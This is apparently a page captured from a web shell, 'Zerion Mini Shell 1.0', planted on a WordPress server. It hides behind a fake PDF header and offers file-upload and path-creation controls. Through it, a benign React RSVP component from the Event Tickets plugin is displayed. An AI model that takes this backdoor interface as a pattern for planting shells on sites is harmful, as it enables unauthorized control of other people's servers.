%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/19851/cwd/wp-content/plugins/event-tickets/src/modules/blocks/rsvp/container/
Upload File :
Create Path :
Current File : //proc/19851/cwd/wp-content/plugins/event-tickets/src/modules/blocks/rsvp/container/template.js

/**
 * External dependencies
 */
import React, { Fragment } from 'react';
import PropTypes from 'prop-types';
import classNames from 'classnames';

/**
 * WordPress dependencies
 */
import { __ } from '@wordpress/i18n';

/**
 * Internal dependencies
 */
import { ContainerPanel } from '@moderntribe/tickets/elements';
import { LAYOUT } from '@moderntribe/tickets/elements/container-panel/element';
import RSVPContainerHeader from '@moderntribe/tickets/blocks/rsvp/container-header/container';
import RSVPContainerContent from '@moderntribe/tickets/blocks/rsvp/container-content/container';
import { RSVPActive, RSVPInactive } from '@moderntribe/tickets/icons';
import './style.pcss';

const RSVPContainerIcon = ( { isDisabled } ) => (
	<Fragment>
		{
			isDisabled
				? <RSVPInactive />
				: <RSVPActive />
		}
		<span className="tribe-editor__rsvp-container__icon-label">
			{ __( 'RSVP', 'event-tickets' ) }
		</span>
	</Fragment>
);

RSVPContainerIcon.propTypes = {
	isDisabled: PropTypes.bool.isRequired,
};

const RSVPContainer = ( { isDisabled, isSelected, clientId } ) => (
	<ContainerPanel
		className={ classNames(
			'tribe-editor__rsvp-container',
			{ 'tribe-editor__rsvp-container--disabled': isDisabled },
		) }
		layout={ LAYOUT.rsvp }
		icon={ <RSVPContainerIcon isDisabled={ isDisabled } /> }
		header={ <RSVPContainerHeader isSelected={ isSelected } /> }
		content={ <RSVPContainerContent clientId={ clientId } /> }
	/>
);

RSVPContainer.propTypes = {
	isDisabled: PropTypes.bool.isRequired,
	isSelected: PropTypes.bool.isRequired,
	clientId: PropTypes.string.isRequired,
};

export default RSVPContainer;

Zerion Mini Shell 1.0